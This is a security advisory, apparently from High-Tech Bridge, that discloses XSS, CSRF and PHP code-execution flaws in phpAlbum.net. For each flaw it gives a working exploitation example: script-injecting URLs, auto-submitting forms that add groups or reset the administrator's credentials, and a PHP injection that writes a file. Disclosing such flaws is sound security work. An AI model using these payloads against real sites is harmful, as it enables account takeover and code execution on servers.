Multiple Vulnerabilities in phpAlbum.net

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpAlbum.net which could be exploited to perform cross-site scripting and cross-site request forgery attacks and compromise vulnerable system.

1) Cross-site scripting (XSS) vulnerability in phpAlbum.net
The vulnerability exists due to input sanitation error in the "var3" parameter in setup.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/main.php?cmd=setup&var1=user&var3=1"><script>alert(document.cook ie)</script>

2) Cross-site request forgery (CSRF) vulnerabilities in phpAlbum.net
2.1 The vulnerability exists due to insufficient validation of the request origin in setup.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new groups. Due to insufficient sanitation of input data in the "p_new_group_name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="groups">
<input type="hidden" name="var2" value="add">
<input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'>
</form>
<script>
docu ment.main.submit();
</script>
2.2 The vulnerability exists due to insufficient validation of the request origin in main.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="p_username_f" value="test">
<input type="hidden" name="p_password_f" value="">
<input type="hidden" name="p_retype_password_f" value="">
<input type="hidden" name="p_email_f" value="email@example.com">
<input type="hidden" name="p_homepage_f" value="http://www.example.com">
<input type="hidden" name="p_group1" value="guest">
<input type="hidden" name="p_group2" value="superuser">
<input type="hidden" name="p_userid_f" value="USERID">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="user">
<input type="hidden" name="var3" value="USERID">
<input type="hidden" name="var2" value="update">
</form>
<script>
document.main.submit();
</script>

3) PHP command execution in phpAlbum.net
The vulnerability exists due to insufficient sanitation of the input data in the "var3" parameter in phpdatabase.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary PHP code on the target system with privileges of the web server.
Exploitation example:
http://host/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx', 'xxxx')